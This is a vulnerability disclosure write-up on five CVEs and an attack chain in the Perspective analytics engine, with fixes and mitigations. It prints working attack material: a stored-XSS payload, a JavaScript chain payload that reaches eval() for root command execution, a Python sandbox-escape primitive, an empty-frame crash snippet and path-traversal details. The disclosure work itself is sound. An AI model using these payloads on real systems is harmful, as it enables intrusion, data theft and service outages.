From One Row of Data to a Root Shell: Five CVEs in Perspective 5.0.0
Five vulnerabilities in the Perspective analytics engine, including an unsandboxed eval() in the query path and a stored XSS in the plugin that loads by default. Chained, they take an attacker from writing one row of data to command execution on the server host.
Perspective is an interactive analytics and data visualization component. The query engine is written in C++ and compiled three ways: to WebAssembly for the browser, to a native Python extension, and to a Rust crate. It ships as perspective-python on PyPI, @perspective-dev/client and @perspective-dev/viewer on npm, and perspective on crates.io. If you have used an internal dashboard at a bank or a trading desk in the last few years, you have probably used it.
I audited version 5.0.0 (revision f0a4f5b32). Five issues received CVEs. Individually they range from a nine-byte denial of service to unauthenticated command execution. Two of them compose into something more interesting than either alone: an attacker who can write a single row of data, with no credentials and no network path to the server, gets a root shell on the server host.
A sixth finding, a one-frame remote abort of the native server, was ruled out of scope by the maintainer. I have kept it in this post because the bug itself is worth reading, but it carries no identifier and I am not presenting it as a vulnerability.
Everything here was tested against published release artifacts in an isolated container lab. Not re-implemented snippets, not a reading of the source: the manylinux wheel from PyPI and the npm tarballs, running the project’s own example configurations, attacked over real WebSocket and HTTP transports from separate containers.
The Architecture in 30 Seconds
Perspective is a Server that hosts Table objects, and Client objects that talk to it over a protobuf-over-WebSocket protocol. A View is a query over a Table: pivots, filters, sorts, and expression columns, which are user-authored formulas evaluated per row.
There are two engine implementations. The native engine is the C++ core reached through an FFI layer. The VirtualServer backends translate the same protocol into SQL or DataFrame operations against DuckDB, ClickHouse, or Polars. The browser component <perspective-viewer> renders a View through a plugin, which is a custom element that receives query results and draws them.
Six pieces of that description are where the bugs are.
The Threat Model Matters Here
Before any of the technical detail, one thing shaped this entire audit, and it is worth explaining because it is unusual.
Perspective ships a SECURITY.md that is far more explicit than most projects bother with. It states in terms that the WebSocket Server is not a security boundary against its own Client. Clients may author arbitrary expression columns. The SQL builder “does not parameterize or validate client-supplied identifiers, expressions, or operators”, and SQL fragments execute “under the configured database role”. The bundled adapters are reference integrations with no authentication, no CSRF protection, and no origin enforcement.
In other words: a large amount of what a scanner would flag here is documented, intended behaviour. I found a set of SQL injection paths early on and threw all of them out, because the vendor already says that is how it works and prescribes an authenticating reverse proxy as the control.
What SECURITY.md explicitly keeps in scope:
- Memory-safety bugs in the C++, Rust, and WebAssembly components
- Shadow DOM, CSS, and sanitization escapes in
<perspective-viewer>that affect the embedding page - “Crashes, hangs, panics, or denial-of-service in the engine reachable from well-formed protobuf messages”
- Cross-
Clientisolation breaches - Supply chain issues
Every finding below was argued against that list. If you are doing this kind of work, read the threat model before you read the code. It is the difference between five valid reports and forty invalid ones. It is also where one of mine died.
CVE-2026-67195: eval() in the Query Path
Affected: PolarsVirtualServer (perspective-python)
CVSS 3.1: 9.9 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWE: 95
Mechanism
The Polars backend has to turn a Perspective expression string into a Polars expression. Here is how it does it, at rust/perspective-python/perspective/virtual_servers/polars.py:698:
def parse_expression(expr_str):
"""Parse a Perspective expression string into a Polars expression."""
pattern = r'"([^"]*)"'
parts = []
last_end = 0
for match in re.finditer(pattern, expr_str):
parts.append(expr_str[last_end : match.start()])
col_name = match.group(1)
parts.append(f'pl.col("{col_name}")')
last_end = match.end()
parts.append(expr_str[last_end:])
polars_expr_str = "".join(parts)
return eval(polars_expr_str, {"pl": pl, "__builtins__": {}}) # line 710
Read the docstring, then read line 710. The docstring says “parse”. The implementation does a regex substitution to rewrite "Column Name" into pl.col("Column Name") and then hands the entire remaining string to eval().
This is not a parser. It is a string rewriter followed by a Python interpreter.
Two call sites reach it, both from the protocol dispatcher: table_validate_expression at line 146, and table_make_view at line 164. Validation is enough. You do not even need to create a view.
Exploitation
__builtins__ is stripped, which stops __import__ and eval and open from resolving by name. That defence has been dead for a decade. Python objects carry the class hierarchy with them:
().__class__.__bases__[0].__subclasses__()
That walks from an empty tuple, to tuple, to object, to every subclass of object currently loaded. Somewhere in that list is something that gives you a subprocess or a file handle. From there it is a one-liner to a shell command.
Delivered as a single TableValidateExprReq protobuf message over the WebSocket, against the stock examples/python-polars-virtual/server.py:
uid=0(root) gid=0(root) groups=0(root)
No authentication was performed. The container was running as root because the example is.
Is This In Scope?
This is the finding where the threat model nearly disposed of it, and the argument matters.
SECURITY.md says clients may “author arbitrary expression columns”. A maintainer reading quickly concludes: working as documented, closed.
But look at what that sentence actually does. It defines the granted capability by hyperlink. Follow the link and you get a specification of an ExprTK column DSL: arithmetic operators, numeric functions, string functions, date functions. No module import. No process spawning. No filesystem. The grant is bounded by that language, by the project’s own definition, and the maintainer cannot widen it without amending the link.
Three facts in the repository confirm the widening was accidental rather than deliberate:
- The docstring claims to parse a Perspective expression.
- The only test,
tests/virtual_servers/test_polars.py:1018, exercises'"Profit" / "Sales" * 100'. - That test passes only because the DSL’s arithmetic subset happens to coincide with Python’s.
Nobody wrote a parser. Somebody wrote a rewrite-and-eval that looked like it worked on the one expression they tried.
Fix
Do not use eval. Parse the expression into an AST and map permitted nodes onto Polars operations, or reuse the existing ExprTK front end. If eval must stay in the short term, an AST allowlist over ast.parse is a stopgap, but only a stopgap.
CVE-2026-67196: Stored XSS in the Default Plugin
Affected: @perspective-dev/viewer
CVSS 3.1: 8.0 High (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
CWE: 79
Mechanism
<perspective-viewer> renders through a plugin. When no plugin package is registered, it falls back to a built-in Debug plugin. Its draw() is at rust/perspective-viewer/src/rust/custom_elements/debug_plugin.rs:102:
let csv = view.to_csv(None).await?;
elem.style().set_property("background-color", "#fff")?;
elem.set_inner_html(&format!("<pre style='{css}'>{csv}</pre>"));
Query results go into innerHTML. There is no escaping anywhere on this path. The same pattern appears at rust/perspective-viewer/src/ts/plugin.ts:244, where it is additionally documented as the template for writing your own plugin, so the defect propagates by copy-paste.
Why “Default” Is Load-Bearing
The obvious response is that the Debug plugin is a developer affordance nobody ships. That is only half right. Look at renderer/registry.rs:157:
fn register_default() {
PLUGIN_REGISTRY.with(|plugins| {
if plugins.borrow().is_empty() {
plugins.borrow_mut().push(PluginRecord {
tag_name: "perspective-viewer-plugin".to_owned(),
config: Rc::new(PluginStaticConfig {
name: "Debug".to_owned(),
...
It is not opt-in. It activates whenever the registry is empty. That covers any embedding that imports only @perspective-dev/viewer without a plugin package, and any deployment whose plugin bundle fails to load at runtime. A CDN hiccup silently downgrades a hardened dashboard into a vulnerable one.
I ran the control: @perspective-dev/viewer-datagrid@5.0.0 is not affected. Zero injected elements, no execution. That is in the report too, because a finding that overstates its blast radius gets closed.
Exploitation Detail That Actually Matters
My first payload did not fire. This is the useful part of the writeup, so here it is.
The virtual server serializes CSV cells with serde_json::to_string (virtual_server/server.rs:345), which escapes ". Then RFC-4180 CSV quoting doubles any internal quote. A conventional payload arrives looking like this:
<img src="x" onerror="" window.__xss_fired__="document.domain""">
Mangled, inert. The fix is to use no double quotes at all, and since the HTML attribute is delimited with ', no single quotes either. JavaScript backtick strings pass through both serializers byte for byte:
</pre><img src=x onerror='window.__XSS_FIRED__=document.domain'>
Result against real headless Chromium:
RESULT: SCRIPT EXECUTED - window.__XSS_FIRED__ = "127.0.0.1"
If you try to reproduce this with the obvious payload and see nothing happen, that is why.
Fix
Use textContent. The Debug plugin is displaying CSV in a <pre>; it has no reason to parse HTML at all.
Not a CVE: The Empty Frame
Affected: native perspective.Server (Python, Rust)
Status: reported, ruled out of scope by the maintainer, no identifier assigned
I am including this one because it is the most interesting bug I found, not because I am presenting it as a vulnerability. It was reported, assessed, and rejected. The maintainer’s position, which VulnCheck agreed with, was:
The trigger is a zero-byte WebSocket frame, not a well-formed protobuf message. The Rust bounds check panicking is Rust memory safety working correctly, not a memory-safety bug.
The second sentence is correct and I never argued otherwise: this is an uncaught exception, CWE-248, not a memory-safety bug. On the first, one neutral fact is worth recording for anyone reading the code later: under proto3 a scalar holding its default value is not emitted and an unset oneof emits nothing, so zero bytes is the canonical encoding of a default-constructed Request. Whether the FFI layer counts as “the engine” for scope purposes is the maintainer’s call, and it has been made. Treat what follows as a robustness note.
Mechanism
This one came out of reading, not fuzzing, and it is my favourite in the set. rust/perspective-server/src/ffi.rs:111:
impl From<&[u8]> for Request {
fn from(value: &[u8]) -> Self {
let len = value.len();
let ptr = unsafe { psp_alloc(len) };
unsafe { std::ptr::copy(std::ptr::addr_of!(value[0]), ptr, len) }; // line 115
Request(ptr, len)
}
}
addr_of! was the careful choice here. It takes an address without materializing a reference, which is exactly the right instinct at an FFI boundary where you are about to hand a pointer to C++.
But addr_of! only suppresses reference creation. The place expression value[0] is still ordinary slice indexing, and still emits a bounds check. For value.len() == 0 that check fails and panics before std::ptr::copy is ever reached.
The irony is complete: std::ptr::copy with len == 0 is well-defined for any pointer, including a dangling one. The operation this bounds check prevents would have been perfectly safe. The bounds check is the entire bug.
PyO3 cannot unwind a Rust panic into a Python exception across the FFI boundary, so the panic aborts the interpreter. One empty WebSocket frame, no authentication, and the whole server is gone with every connected client and every hosted table.
ws = websocket.create_connection(url)
ws.send_binary(b"")
Running=false ExitCode=139
thread '<unnamed>' panicked at rust/perspective-server/src/ffi.rs:115:52:
index out of bounds: the len is 0 but the index is 0
None of the three bundled Python adapters length-check the frame. handlers/tornado.py:186 tests isinstance(msg, bytes) but not len(msg); the aiohttp and starlette handlers pass the payload straight through.
Why Fuzzing Missed It
Every candidate a protobuf fuzzer generates has at least one byte. I ran 400 protobuf candidates against this boundary and got four faults, all of them the empty payload, and only because I had explicitly seeded it after reading the code. Mutation-based fuzzing does not naturally produce the empty string, and coverage-guided fuzzing does not reward it.
This is the case for reading code. Some bugs live at cardinality zero.
Fix
unsafe { std::ptr::copy_nonoverlapping(value.as_ptr(), ptr, len) };
as_ptr() is defined for empty slices and returns a valid dangling pointer that ptr::copy accepts with len == 0. copy_nonoverlapping is also the more accurate primitive, since a fresh allocation cannot overlap its source.
CVE-2026-67198: Nine Messages, Nine to Twenty-Six Bytes
Affected: all VirtualServer backends (DuckDB, ClickHouse, Polars)
CVSS 3.1: 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
CWE: 248
Mechanism
The VirtualServer protocol dispatcher in rust/perspective-client/src/rust/virtual_server/server.rs unwraps optional protobuf fields directly. Nine distinct sites:
let resp = match msg.client_req.unwrap() { ... } // line 145
let viewport = view_to_arrow_req.viewport.unwrap(); // line 311
let viewport = view_to_csv_req.viewport.unwrap(); // line 326
self.view_configs.get(entity_id).unwrap() // lines 112, 261, 295, 415
In proto3, an unset optional field or an unset oneof decodes to None. Every one of these is reachable from a well-formed message that simply omits a field, or references a view ID that does not exist. Nine to twenty-six bytes each. Same PyO3 abort semantics as above: the whole process dies.
What makes this a defect rather than a design choice is that the correct pattern is one branch away in the same file, at line 241:
.ok_or_else(|| VirtualServerError::UnknownViewId(view_id.to_string()))?;
ViewDimensionsReq performs the identical lookup and returns a proper error. The error variant exists. The error response path is wired. Nine other sites just do not use it.
The native engine handles all six probe shapes cleanly. This is a VirtualServer-only defect, and I say so in the report, because scope honesty is worth more than a severity point.
A Sting in the Tail
While testing mitigations for the next issue, I found that configuring a Tornado executor to move request handling off the IOLoop, which is the documented alternative, produces 899 failures out of 900 on DuckDBVirtualServer with RuntimeError: Already borrowed. The native server handles the same load with zero errors. The documented escape hatch is broken for exactly the backends that need it most.
CVE-2026-67199: The Loop They Forgot
Affected: C++ engine, all distributions
CVSS 3.1: 7.7 High (AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H)
CWE: 1050
Mechanism
Expression columns are evaluated by ExprTK. Perspective configures the parser at rust/perspective-server/cpp/perspective/src/cpp/computed_expression.cpp:297:
m_parser->settings()
.disable_control_structure(
exprtk::parser<t_tscalar>::settings_store::e_ctrl_repeat_loop
)
.disable_base_function(...)
Somebody thought about unbounded iteration. They disabled repeat. ExprTK also has for and while, and neither is disabled.
The expression is evaluated once per row. A for loop with an attacker-chosen bound, multiplied across the row count, is an arbitrary CPU budget handed to any client that can author an expression. Since the documented adapters run handle_request on the IOLoop, one client’s expression starves every other client sharing that server.
Measured: baseline latency around 5 ms, then innocent clients time out completely while the process still reports Running=true. No crash, no restart, no alert. Just a server that has stopped answering.
The counter-argument is that a client can also request a view over a billion rows, so this is a resource-limits gap rather than a vulnerability. Two things narrow it back to a defect. Unbounded iteration was clearly considered, and the mitigation simply misses two constructs. And expressions.md documents no loop construct at all, so disabling for and while removes nothing the project advertises. A view over a billion rows is bounded by data the deployer chose to host. A for loop is bounded by an integer the attacker chose.
Fix
.disable_control_structure(settings_store::e_ctrl_for_loop)
.disable_control_structure(settings_store::e_ctrl_while_loop)
CVE-2026-67200: String Concatenation as a Path Resolver
Affected: @perspective-dev/client
CVSS 3.1: 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE: 22
Mechanism
cwd_static_file_handler, exported at rust/perspective-js/src/ts/perspective.node.ts:271, builds a filesystem path at line 290:
for (const root of assets) {
let filePath = root + url; // line 290
let content = await fs.readFile(filePath);
if (typeof content !== "undefined") {
response.writeHead(200, {
"Content-Type": contentType,
"Access-Control-Allow-Origin": "*",
});
response.end(content, "utf8");
return;
}
}
String concatenation, no normalization, no containment check, and a wildcard CORS header on the response. This is the public HTTP entry point of every server built on the bundled WebSocketServer class, and it is used by the project’s own documentation server, which mounts ../node_modules as an asset root.
One Detail Worth Correcting
The draft version of this finding claimed percent-encoded traversal worked. It does not. Node does not percent-decode request.url, so %2e%2e returns 404 while literal ../ returns 200. I caught it by testing rather than assuming, which is the only reason it is not in the submitted report as a false claim handing a reviewer a free dismissal.
Verify your own claims. Especially the ones that feel too obvious to check.
Researcher Assessment
This is the weakest report of the six, and I said so when I submitted it. SECURITY.md states in terms that the bundled adapters are reference integrations not intended for untrusted networks, and that disclaimer is closer to landing here than anywhere else.
The counter is that every concession in that document concerns the query plane, what a peer may ask the engine to compute. A ../ is not a query. The static file handler is not the Server. Reading /proc/self/environ is not an operation the protocol exposes. And unlike the SQL builder’s lack of parameterization, the absence of a containment check is nowhere documented as a non-goal.
Notably, this is the one report the maintainers did not close.
CHAIN-01: Putting Two Together
This is the result worth your attention.
stage 1 attacker writes one hostile row into a hosted table
(form submission / vendor feed / ETL job / low-privilege tenant)
|
stage 2 analyst opens the dashboard; <perspective-viewer> renders the
table through the default Debug plugin's innerHTML sink
| CVE-2026-67196
stage 3 injected script runs in the analyst's authenticated page and
opens a WebSocket to the same Perspective server, sending a
protobuf TableValidateExprReq
|
stage 4 PolarsVirtualServerHandler evaluates the expression with eval()
| CVE-2026-67195
command execution as the Perspective service account
CVSS 3.1: 9.0 Critical (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
Why the Composition Beats Both Rebuttals
Each link has a plausible individual dismissal. The chain removes both.
On the XSS alone: “the Debug plugin is a developer affordance.” Whether or not that holds, the chain shows the XSS is not a browser-side nuisance. It is a foothold for reaching the server.
On the RCE alone: “SECURITY.md says the Server is not a security boundary against its Client, and production must place an authenticating reverse proxy in front.” That answer assumes the attacker must be a client. In this chain the attacker never connects to the server at all. The analyst is the client. The analyst is authenticated. The proxy passes the payload’s traffic because it is the analyst’s traffic.
It is also a direct counterexample to the in-browser carve-out, which reads:
the only principal who can submit queries is the same user who loaded the page. SQL or expression “injection” by that user against a backend running inside their own tab is not a privilege escalation.
Here the principal submitting the expression is the row author, not the page loader. They are different people with different privileges, which is precisely the condition the carve-out assumes cannot arise.
Payload Engineering
The injected JavaScript has to send a protobuf frame without a library, through two serializers that both mangle quotes. Solution: precompute the frame as a byte array, use backtick strings, and never emit a " or a '.
_JS = (
"var b=[" + RCE_BYTES + "];"
"var w=new WebSocket(`ws://psp-chain:3000/websocket`);"
"w.binaryType=`arraybuffer`;"
"w.onopen=function(){w.send(new Uint8Array(b));window.__CHAIN_SENT__=1;};"
)
HOSTILE_CELL = "</pre><img src=x onerror='" + _JS + "'>"
Three containers, real Chromium, released packages:
stage 2 : analyst opens http://127.0.0.1:8000/dashboard.html
stage 3 : <img> parsed from table data : 1
stage 3 : payload socket sent frame : true
=== stage 4: command execution on the SERVER ===
uid=0(root) gid=0(root) groups=0(root)
CHAIN_RCE_MARKER
/tmp/chain_pwned.txt did not exist before the analyst opened the page. The only action the attacker took was writing a string into a table.
Variants
- Without an analyst waiting: point stage 3 at the empty frame described above instead. Kills the server from the analyst’s browser, no Polars backend required.
- Against a different origin: the payload holds the analyst’s full page origin. It can read
localStorage, call the host application’s API, or exfiltrate the session. Perspective is the entry point, not necessarily the target. - Via column names:
columnsin the viewer config comes from the table schema, so poisoning a column name rather than a cell reaches the same sink. Relevant where cell contents are sanitized upstream but schema is not.
Summary Table
| CVE | Component | Class | CVSS | Vector |
|---|---|---|---|---|
| CVE-2026-67195 | PolarsVirtualServer | Eval injection (CWE-95) | 9.9 | One protobuf message |
| CVE-2026-67196 | @perspective-dev/viewer | Stored XSS (CWE-79) | 8.0 | One row of data |
| CVE-2026-67198 | VirtualServer dispatch | Uncaught exception (CWE-248) | 7.5 | 9 to 26 bytes |
| CVE-2026-67199 | C++ expression engine | Uncontrolled resource (CWE-1050) | 7.7 | One expression |
| CVE-2026-67200 | @perspective-dev/client | Path traversal (CWE-22) | 7.5 | One HTTP request |
| CHAIN-01 | 67196 + 67195 | Escalation chain | 9.0 | One row of data |
| no CVE | Native server FFI | Uncaught exception, ruled out of scope | n/a | One empty frame |
What To Do About It
No fixed version exists at time of writing.
If you run PolarsVirtualServer: this is the urgent one. Do not expose expression authoring to any party you do not fully trust, including through a chain like the one above. There is no configuration that makes eval safe.
If you embed <perspective-viewer>: load an explicit plugin package, and make a failure to load it fatal rather than letting register_default() silently fall back to the Debug plugin.
import "@perspective-dev/viewer-datagrid";
// then assert the registry is non-empty before rendering
If you run any native server: the empty-frame abort is not going to be fixed upstream, so reject zero-length binary frames at the adapter boundary yourself.
def on_message(self, msg: bytes):
if not isinstance(msg, bytes) or len(msg) == 0:
return
If you use cwd_static_file_handler: do not expose it to untrusted networks, and resolve paths with containment.
const resolved = path.resolve(root, "." + url);
if (!resolved.startsWith(path.resolve(root) + path.sep)) {
response.writeHead(403); response.end(); return;
}
For the maintainers, one change resolves a whole class rather than single instances: wrap the PyO3 and N-API entry points in catch_unwind. That downgrades CVE-2026-67198, the empty-frame abort above, and every future panic anywhere in the Rust layer, from a whole-process outage to a failed request.
Disclosure Timeline
All dates 2026.
| Date | Event |
|---|---|
| July 28 | Reported to VulnCheck for coordinated disclosure. Vendor not contacted, nothing published. |
| July 29 | VulnCheck initiated vendor outreach. Six identifiers provisionally allocated. Disclosure deadline set to November 26. |
| July 29 | Five of six reports closed by the maintainers without comment. CVE-2026-67200 was not closed. VulnCheck engaged a maintainer directly. |
| July 29 | Following the maintainer response, VulnCheck determined its coordinated disclosure timeline no longer applies, on the ground that the vendor does not intend to remediate or issue an advisory. |
| July 30 | The empty-frame FFI report ruled out of scope by the maintainer and VulnCheck. Identifier withdrawn, five CVEs remain. |
| August 04 | This publication. |
I went to VulnCheck first rather than the vendor, and they handled coordination throughout. If you are sitting on findings and unsure how to route them, a CNA that will do the outreach for you is worth knowing about.
Closing Thought
Most of these came from reading code, not from fuzzing. The empty-frame bug in particular is unreachable by any mutation-based fuzzer, because the input it needs is the empty string and mutation never gets there. It is also the one that got rejected, which is a fair reminder that finding a bug and having it count as a vulnerability are two different things, decided by someone else’s threat model rather than yours.
The pattern across all of them is the same, and it is not exotic. Somebody wrote a function whose name promised more than its body delivered. parse_expression does not parse. disable_control_structure disables one of three. addr_of! avoids one hazard and reintroduces another. The bounds check that kills the process guards an operation that would have been safe without it.
Read the code. Read the threat model first. Then check the thing that looks too obvious to check.
Findings reported by christbowel (@Christbowel). Coordinated disclosure by VulnCheck. Reproduce these only against systems you own or are authorized to test.